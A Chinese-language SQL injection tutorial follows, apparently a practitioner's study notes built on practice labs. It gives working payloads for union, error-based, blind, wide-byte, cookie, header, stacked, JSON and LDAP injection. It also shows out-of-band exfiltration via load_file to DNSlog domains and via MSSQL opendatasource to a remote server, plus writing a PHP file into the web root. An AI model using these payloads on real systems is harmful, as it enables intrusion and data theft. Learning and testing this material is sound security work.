一、sql基础

1、sql注入原理

​ 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。

其成因可归结为以下两个原理叠加造成:

1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。

2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

SQL注入验证:

1、单引号 '
2、 and  1=1
3、 and  1=2

2、Mysql注入有关知识点

2.1、mysql 元数据数据库information_schema

information_schema数据库中的几个关键的表

img

表schemata(数据库名)、tables(表名)、columns(列名或字段名)。

在schemata表中,schema_name字段用来存储数据库名。

在tables表中,table_schema和table_name分别用来存储数据库名和表名。

在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)

2.2、SQL增删改查

SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2'
INSERT INTO table_name (1,2,...) VALUES (1,2,....)
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
DELETE FROM 表名称 WHERE 列名称 =

2.3、注释

注释符:在Mysql 中常见的注释符表达式:
	#、--空格、/**/
内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF

例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1 /*!union*/ /*!select*/ 1,2,3,4

注释:

MySQLOracleMSSQL
注释符/**/、#、/!/、/!50000xx/、–、-- - 、–+–、/**/ --%0a-–、/**/、–%0a-
空白字符%09%0A%0B%0C%0D%20%00%09%0A%0B%0C%0D%20%00-%20

2.4、mysql 常用的函数与参数

show databases; #查看数据库

use information_schema; #转到数据库information_schema

show tables; #查看当前数据库中的数据表

在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.5、sql语句

必会基本查询语句

select database();  #查看当前库名;

select table_name from information_schema.tables where table_schema=database()  ;  #查看当前库下的表名

select column_name from information_schema.columns where table_schema=database() and table_name='user';  #查询列名

select name,password from user;  #获取用户名和密码列

3、漏洞危害

攻击者利用SQL注入漏洞们可以获取数据库中的多中信息(如:管理员后台密码),从而脱取数据库中内容(脱库)。

在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者就可以通过SQL注入漏洞直接获取webshell 或者服务器系统权限。

4、分类

SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型、字符型、搜索型注入。

根据注入手法分类,大致分为以下几个类别

@联合查询
@报错注入
@布尔盲注
@延时注入
@堆叠查询

二、sql注入攻击

1、注入点判断

御剑扫描网站后台

SQL 注入点的判断

过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。

?id=35'  字符型还是数字型
判断什么型
?id=1%2b1  //加法减法,可区分数字还是字符型

测试页面是否有布尔类型的状态
?id=35 and 1=1
?id=35 and 1=2
?id=35 and 1<2
?id=35 and sleep(4)      是否有延时

搜索型注入
select * from news where search like '%关键字%' and '%1%'='%1%'
搜索框
url/keyword=xxx%' union select 1,2,3,4 and '%'='

判断注入点是否有()
* 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2。
* 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。

2、判断是什么数据库

常见的数据库Oracle、MySQL、SQL Server、Access、MSsql、mongodb等
关系型数据库:由二维表及其之间的联系组成的一个数据组织。如:Oracle、DB2、MySql

1.是否可以使用特定的函数来判断,该数据库特有的
len()函数:mssql、mysql、db2
length()函数:Oracle、informix
substring:mssql
substr:oracle
version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
/*  mysql特有注释符,返回错误说明不是mysql
--  是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符
;   是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
;-- 在注入点后加分号、斜杠、斜杠,返回正常是mssql,返回错误是ACCESS

3.是否可以编码查询

4.是否显可以利用错信息
错误提示Microsoft JET Database Engine 错误 '80040e14',
JET是ACCESS数据库
ODBC是MSSQL数据库

5.是否存在数据库某些特性辅助判断
and exists (select count(*) from sysobjects)    返回正常是mssql
and exists (select count(*) from msysobjects)   两条,和上一条返回都不正常是ACCESS
如果是字符型,参数后加 ' 最后加 ;--

3、联合查询注入

3.1、order by

order by x 对查询的结果进行排序

思路:对查询的结果使用order by按照指定的列进行排序,如果指定的列不存在,数据库会报错。

通过报错判断查询结果的列数,从而确定主查询的字段数。

3.2、判断显示位置

得到字段个数之后,可以尝试构造联合查询语句

这里我们并不知道表名,根据mysql 数据库的特性,select 语句执行过程中,并不需要指定表名。

?id=33 union select 1,2,3,4,5,6,7,8,9,10--+

页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL,语句:

?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+

?id=-33 union select 1,2,3,4,5,6,7,8,9,10,--+

注:显示出来的数据的地方对应的数字就是我们将来插入语句的地方。

3.3、获取数据库

如果3显示

?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10--+

3.4、获取数据库中的表

我们可以通过查询information_schema.tables 来获取当前数据库的数据表

?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database() --+

数据库报错

考虑用16进制(hex())函数将字符串转化为数字。

hex(group_concat(tables_name))

得到16进制编码后的字符串

3.5、获取字段名

?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10 from information_schema.columns where table_name='users'--+

3.6、获取字段内容

?id=33 and 1=2 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from information_schema.columns where table_name='users'--+

4、报错注入

在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。

4.1、floor()

floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

rand()函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。

在这里插入图片描述

很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了

?name=' or (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) # &pass=123
获取数据库
url?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

获取表名
url?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

获取用户信息
url?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

4.2、XPATH报错

4.2.1、extractvalue()
name=' or extractvalue(1,concat(user(),0x7e,version())) # &pass=1
4.2.2、updatexml()

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

name=' or updatexml(1,concat(0x7e,version(),0x7e),1) # &pass=1

5、布尔盲注

利用页面返回的布尔类型状态,正常或者不正常

获取数据库
数据库名长度
and length(database())=1--+
数据库名
and ascii(substr(database(),1,1))=99--+

6、延时注入

利用sleep() 语句的延时性,以时间线作为判断条件

获取数据库
获取数据库名长度
and if((length(database())=3),sleep(5),1)--+
数据库名第二位
and if((ascii(substr(database(),2,1,)=109),sleep(5),1)

7、SQL 注入文件读写

7.1、前提条件

我们使用SQL 注入漏洞文件读写文件。但是读写文件需要一定的条件。

1、secure-file-priv

该参数再高版本的mysql 数据库中限制了文件的导入导出。

关于该参数的相关说明
在这里插入图片描述

2、当前用户具有文件权限

查询语句[select File_priv from mysql.user where user=“root” and host=“localhost”–+]

3、知道要写入的目标文件的绝对路径

7.2、读取文件

读文件:
select load_file ('D:\\flag.txt');

利用:
url?id=-1' union select 1,load_file('D:\\b.txt'),3--+
load_file('')
C:\\Windows\\System32\\drivers\\etc\\hosts
C:/Windows/System32/drivers/etc/hosts

7.3、写入文件

写入前要开启
set global general_log=on;

url?id=-1' union select 1,'<?php phpnfo(); ?>',3 into outfile 'C:\\phpstduy\\WWW\\sql-lab\\Less-7\\1.php'--+

三、其他注入

1、宽字节注入

1.1、宽字节注入基础

编码:

​ GBK 占用两字节

​ ASCII占用一字节

​ PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。 %DF’ :会被PHP当中的addslashes函数转义为“%DF\‘” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”

​ 最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,然后在十六进制前面加%即可,即为%81 GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)

1.2、宽字节SQL注入

id=%df'   报错看用什么形式
id=-1%df' union select 1,2,3  --+
id=%bf'  --+

2、Cookie注入

在动态脚本语言中存在 超全局变量 可以 获取多种传参方式 (基本上)

很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法

php中的 $_REQUEST[] 可以获取 POST|GET|COOKIE 传参   

注:php 5.4以上版本就不会接受Cookie传参了。

2.1、mysql Cookie注入

服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。

F12  控制台  document.cookie查看网站cookie

代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。

跟踪跳转在cookie name=admin 后面注入' and updatexml(1,concat(0x7e,version(),0x7e),1)--+

2.2、Access COOKIE注入

2.2.1、原理:

按F12打开开发者模式——>Application ——>storage——>cookies

然后修改Cookie

然后用 document.cookie来设置

document.cookie="username"+escape("admin user")
username=admin %20user

escape( )是对参数进行一次 URL 编码的函数。

一般来说:

ASP站点存在的可能性很高;(判断网站站点的一般方法:看URL 或 抓 返回包)

PHP的版本小于5.3的可能性很高;

2.2.2、实战

然后尝试是否可以 cookie 注入
document.cookie="id="+escape("171 and -1=-1") 页面显示正常
document.cookie="id="+escape("171 and -1=-2") 页面显示正常

判断当前页面字段总数
document.cookie="id="+escape("171 and -1=-1 order by 10")   页面有显示
document.cookie="id="+escape("171 and -1=-1 order by 11")  页面没有显示

爆破表名

因为改数据库Access数据库,只有一个数据库,没有系统自带表,要用标准的查询语句才能查询到数据,所以要先知道这里的 表名和字段名 。对于获取access数据库的表名和字段名,方法只有爆破。

exists( ) : 这个函数就是用来检查表名是否存在,原理就是检查子查询能否查询到数据

常见的表名:admin news work user job admin_user

document.cookie="id="+escape("171 and  exists(select * from admin) ") 页面正常显示

也可以在Burp用字典爆破。

在这里插入图片描述

判断显示位
document.cookie="id="+escape("171 and -1=-2 union select 1,2,3,4,5,6,7,8,9,10 from admin")
爆破字段名
document.cookie="id="+escape("171 and -1=-2 union select 1,id,3,4,5,6,7,8,9,10 from admin")  有数据显示
document.cookie="id="+escape("171 and -1=-2 union select 1,password,3,4,5,6,7,8,9,10 from admin")  有数据显示

3、二次注入

用户第一次注入的信息存储在数据库,用户的二次读取它,进行二次注入

原因: 输入用户名没有检查等

注册用户 admin’ – - ,修改密码时,用户名admin后面会被注释掉,会修改所有用户名为admin的密码。

4、HTTP头注入

4.1、UserAgent注入

User-Agent:hacker' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1

4.2、Referer 注入

hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

4.3、X-Forwarded-For注入

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

如果系统采用了服务器后端获取 X-Forwarded-For数据,如:利用String ip = request.getHeader(“X-Forwarded-For”);进行获取ip,攻击者可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip也可以是一些注入语句,如下:

X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)--
String sql = "select * from table where ip = '"+ip+"'";

构造X-Forwoarded-For头进行测试,http响应出现变化:

X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958--
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000957--

由此可以判定可能存在注入漏洞的

5、堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’hello’)–+

6、josn注入

6.1、josn简介

JSON是一种轻量级的数据交换格式,易于阅读和编写,同时也易于机器解析和生成。它是基于Javascript的一个子集,JSON采用完全独立于语言的文本格式,但是也使用类似于C语言家族的习惯(C、C#、C++、Java、Javascript、Perl、Python等都可以使用JSON),这些特性使JSON成为理想的数据交换语言。JSON可以将Javascript中的对象转换为字符串,然后在函数、网络之间传递这个字符串。

6.2、json语法

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 大括号保存对象
  • 中括号保存数组

6.3、JSON结构

JSON建构于两种结构:
①“名称/值”对的集合。不同的语言中,它被理解为对象(object),纪录(record),结构(struct),字典(dictionary),哈希表(hash table),有键列表(keyed list),或者关联数组 (associative array)。
②值的有序列表。在大部分语言中,它被理解为数组(array)。

使JSON最简单的Key-Value示例(名称-值对,键值对):

{"Username":"xsser"}
{"Username":"xsser","Password":"12345","Email":"1234@st.com"}
表示一个管理员表,在JSON中,如下:

{"Users":[
	{"Username":"zhangsan","Password":"12345","Email":"12345@st.com"}
	{"Username":"lisi","Password":"123123","Email":"123123@st.com"}
	{"Username":"wangwu","Password":"321321","Email":"321321@st.com"}
]  }

6.4、josn注入

和SQL注入一样,插入注入语句。但要注意一点是对影响json语句的要进行转义,如双引号、花括号等。

Post data:josn{"username":"admin'"}  报错
Post data:josn{"username":"admin' and 1=0%23"} 查询为空
Post data:josn{"username":"admin' and 1=1%23"} 
Post data:josn{"username":"admin' and 1=2 union select database(),2%23"} 

7、ladp注入

7.1、ladp介绍

LDAP(Lightweight Directory Access Protocol):即轻量级目录访问协议。是一种运行于TCP/IP之上的在线目录访问协议,主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP。

而LDAP 注入是利用用户引入的参数生成恶意 LDAP 查询,通过构造 LDAP 过滤器来绕过访问控制、用户权限提升。在维持正常过滤器的情况下构造出 AND、OR 操作注入来获得敏感信息。

7.2、目录数据库结构

LDAP数据库,是树结构的,数据存储在叶子节点上。

  • dn:一条记录的位置
  • dc:一条记录所属的区域
  • ou:一条记录所属的组织
  • cn/uid:一条记录的名字/ID

首先要说明是哪一棵树(dc),然后是从树根到目标所经过的所有分叉(ou),最后就是目标的名字(cn/uid),借用一张图来表明结构如下:

在这里插入图片描述

7.3、条目&对象类&属性

  • 条目(entry):是目录中存储的基本信息单元,上图每一个方框代表一个entry。一个entry有若干个属性和若干个值,有些entry还能包含子entry
  • 对象类(obejectclass):对象类封装了可选/必选属性,同时对象类也是支持继承的。一个entry必须包含一个objectClass,且需要赋予至少一个值。而且objectClass有着严格的等级之分,最顶层是top和alias。例如,organizationalPerson这个objectClass就隶属于person,而person又隶属于top
  • 属性(atrribute):顾名思义,用来存储字段值。被封装在objectclass里的,每个属性(attribute)也会分配唯一的OID号码

在这里插入图片描述

7.4、基本的LDAP语法

  • = 等于
  • & 逻辑和
  • | 逻辑或
  • ! 逻辑不
  • * 通配符

逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)

除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE
(|)     ->Absolute FALSE

对象定义:

objectclass: top
objectclass: person

对象类定义:

objectclass: person
objectclasses=( 2.5.6.6 NAME 'person' DESC 'Defines entries that generically represent people.'SUP'top'STRUCTURAL MUST ( cn $ sn ) MAY ( userPassword $ telephoneNumber $ seeAlso $ description ) 

属性定义:

attributetypes=( 2.5.4.4 NAME ( 'sn' 'surName') DESC 'This is the X.500 surname attribute, which contains the family name of a person.' SUP 2.5.4.41 EQUALITY 2.5.13.2 ORDERING 2.5.13.3 SUBSTR 2.5.13.4 USAGE userApplications ) 

搜索语法:

主要根据属性和值进行搜索

attribute operator value

7.5、LDAP查询语句

一个圆括号内的判断语句又称为一个过滤器filter。

默认情况下,LDAP的DN和所有属性都不区分大小写。

( "&" or "|" (filter1) (filter2) (filter3) ...) ("!" (filter))

7.6、LDAP注入

无逻辑操作符的注入

后端代码如果是这样写的:

(attribute=$input)

我们构造输入语句:

$input=value)(injected_filter

完整的语句就成下面这样了:

(attribute=value)(injected_filter)

由于一个括号内代表一个过滤器,在OpenLDAP实施中,第二个过滤器会被忽略,只有第一个会被执行。而在ADAM中,有两个过滤器的查询是不被允许的。因而这类情况仅对于OpenLDAP有一定的影响。

例如我们要想查询一个字段是否存在某值时,可以用$input=x进行推移,利用页面响应不同判断x是否查询成功。

带有逻辑操作符的注入

(|(attribute=$input)(second_filter))
(&(attribute=$input)(second_filter))

此时带有逻辑操作符的括号相当于一个过滤器。此时形如value)(injected_filter)的注入会变成如下过滤器结构

(&(attribute=value)(injected_filter))(second_filter)

虽然过滤器语法上并不正确,OpenLDAP还是会从左到右进行处理,忽略第一个过滤器闭合后的任何字符。一些LDAP客户端Web组成会忽略第二个过滤器,将ADAM和OpenLDAP发送给第一个完成的过滤器,因而存在注入。

7.7、案例分享

万能用户名案例

验证登陆的查询语句是这样:

(&(USER=$username)(PASSWORD=$pwd))

输入$username = admin)(&)(使查询语句变为:

(&(USER=admin)(&))((PASSWORD=$pwd))

即可让后面的password过滤器失效,执行第一个过滤器而返回true,达到万能密码的效果。

权限提升案例

现假设下面的查询会向用户列举出所有可见的低安全等级文档:

(&(directory=document)(security_level=low))

这里第一个参数”document”是用户入口,low是第二个参数的值。如果攻击者想列举出所有可见的高安全等级的文档,他可以利用如下的注入:

document)(security_level=*))(&(directory=documents

生成的过滤器为:

(&(directory=documents)(security_level=*))(&(direcroty=documents)(security_level=low))
###
LDAP服务器仅会处理第一个过滤器而忽略第二个,因而只有下面的查询会被处理:(&(directory=documents)(security_level=*)),而(&(direcroty=documents)(security_level=low))则会被忽略。结果就是,所有安全等级的可用文档都会列举给攻击者,尽管他没有权限看它们。

8、、dnslog注入

8.1、dnslog注入原理

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。。。

我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

http://ceye.io这个平台注册后它会给你一个三级域名,可以先访问任意四级域名试试

8.2、注入所需了解的知识

UNC

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径

//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

注入所需条件

首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性

secure_file_priv特性,有三种状态:

secure_file_priv为null    表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
可了解一下load_file和outfile

LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。并且服务器要为Windows操作系统。

注入语句如

# 查询当前用户名
http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+

# 查看当前数据库名
http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+

#查表
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));

#字段
select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));

在这里插入图片描述

为什么要对查询的内容进行hex编码?

如果我们要查询的用户名中存在特殊字符:如!@#$%^&

最后在请求DNS服务器时变成:!@#$%^&*.upa46v.dnslog.cn

存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。

在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后在带入查询。

9、伪静态注入

9.1、伪静态网站介绍

“伪静态”顾名思义就是一种表面上看似是静态网页(以.html、.htm等结尾),不存在任何的数据交互,却其实是动态网页,存在数据交互的网站,具有这种特性的网页成为“伪静态网页”。我们看到的伪静态网页其实是经过处理的,将动态网页的id等参数通过URL重写来隐藏,让查看者以为是静态网页。

9.2、如何辨明伪静态网站

如果看到一个以.html或者.htm结尾的网页,此时可以通过呢在在地址输入框中输入:

javascript:alert(document.lastModified),来得到网页最后的修改时间,如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态;因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。

在平时的测试过程中我们经常会看到这样一类奇特的地址:

http://xxx.xxx.xx.xx:xxx/test.php/id/1.html   (原型一般为:http://xxx.xxx.xx.xx:xxx/test.php?id=1   )

像上面这种类型的网址URL,往往是一种伪静态网页,遇到这种情况可以直接对".html"之前的参数加“'”进行判断是否存在注入!

10、Access偏移注入

原理

借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示!

利用场景

解决知道Access数据库中知道表名,但是得不到字段的sql注入困境。

注入流程

1、判断字段数 order by

2、 判断表名 使用 union select * from 表名来获取

3、 开始偏移注入 利用注入公式来注入

公式实践

偏移注入的基本公式为:

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误

爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

判断表内存在的字段个数
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
直到......
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明了admin表下有6个字段;

用"*"代表 admin 表的字段数,计算*代替字符的位数。

也就是:

* = 6个字符

2 × * = 12个字符

22 - 12 = 10个字符

爆列名数据
一级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4

隐性显位

主页面没有显示admin表我们要的信息,可以在页面源代码看一下

11、MSSQL 反弹注入

原理

依靠 opendatasource 函数,把查询出的数据发送到MSSQL服务器上。

注入常见问题

  1. 猜数据时为什么不能用数字

    根据了MSSQL的特性,虽然不能用数字但可用null和字母填充

  2. MSSQL有系统自带库吗

    有 为master.dbo.sysdatabase

  3. 反弹注入满足的条件

​ 能否堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句

  1. 为什么反弹注入开头不是select?

​ 因为反弹注入是在我们的mssql服务器上插入我们子查询报错信息的语句,所以用insert into

  1. xtype=‘U’ 是什么?

​ 设置查找用户建立的数据表

  1. 反弹注入使用情况

​ 没有回显的注入,支持opendatasource函数

  1. 如何查询当前库名

​ select db_name()

MSSQL反弹注入语句解析

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- 

Insert into 很明显是插入语句 然后出现了个opendatasource。

opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

语法:

OPENDATASOURCE(provider_name,init_string)

provider_name

注册为用于访问数据源的OLE DB 提供程序的PROGID的名称 MSSQL的名称为SQLOLEDB

init_string

连接字符串

连接地址、端口、用户名、密码、数据库

server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp 把后面语句的查询结果插入到那个表里面。

MSSQL反弹注入靶场实战

1.判断注入点

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1--%20wqe 页面正常显示
http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-2--%20wqe 页面非正常显示

存在SQL注入。

2.判断当前页面字段总数

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 3--%20wqe 页面正常显示
http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 4--%20wqe 页面非正常显示

当前页面字段总数为3。

3.利用MSSQL语句来进行查询

注意:MSSQL 联合查询需要使用union all,并且有严格的类型要求。

不能和Mysql数据库一样查询可以输入1,2,3,要对应类型来注入。

id=1’and -1=-1 union all select null,null,null – qwe

id=1’and -1=-1 union all select 1,'b,‘c’ – qwe

检测出数字类型 2和3为字符串类型

4.查表名

id=1'and -1=-1 union all select id ,'a',name from sysobjects where xtype='U' -- qwe

得到news表,admin表和dtproperties表。

select name from sysobjects where xtype='U';
xtype='U' ====》代表用户创建的表;
xtype='S' ====》代表系统自带的表。

5.查列名

记住我们需要的表对应的id值:1977058079;

用 syscolumns 来查看admin表里的字段。

id=1'and -1=-1 union all select id ,'a',name from syscolumns where id =1977058079 -- qwe

6.查字段内容(得到FALG)

id=1'and -1=-1 union all select id ,'a',token from admin-- qwe

7.反弹注入获取FALG

反弹注入条件需要满足 能堆叠查询。

堆叠注入: 在注入的时候可以用; (;代表语句的结束)

判断能否使用堆叠注入:

id=1';select 123-- qwe 页面显示正常,能使用堆叠注入

插入数据:

id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select table_name from information_schema.tables-- qwe  页面显示正常,插入数据成功。

查询数据:

';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select token from admin-- qwe

四、绕过技术

1、waf分类

软WAF

软件WAF安装过程比较简单,需要安装到需要安全防护的web服务器上,以纯软件的方式实现。

代表产品:安全狗,云锁,D盾等

硬WAF

硬件WAF的价格一般比较昂贵,支持多种方式部署到Web服务器前端,识别外部的异常流量,并进行阻断拦截,为Web应用提供安全防护。

代表产品有:Imperva、天清WAG等

云WAF

云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新。对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测,如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理。

代表产品有:阿里云云盾,腾讯云WAF等

自定义WAF

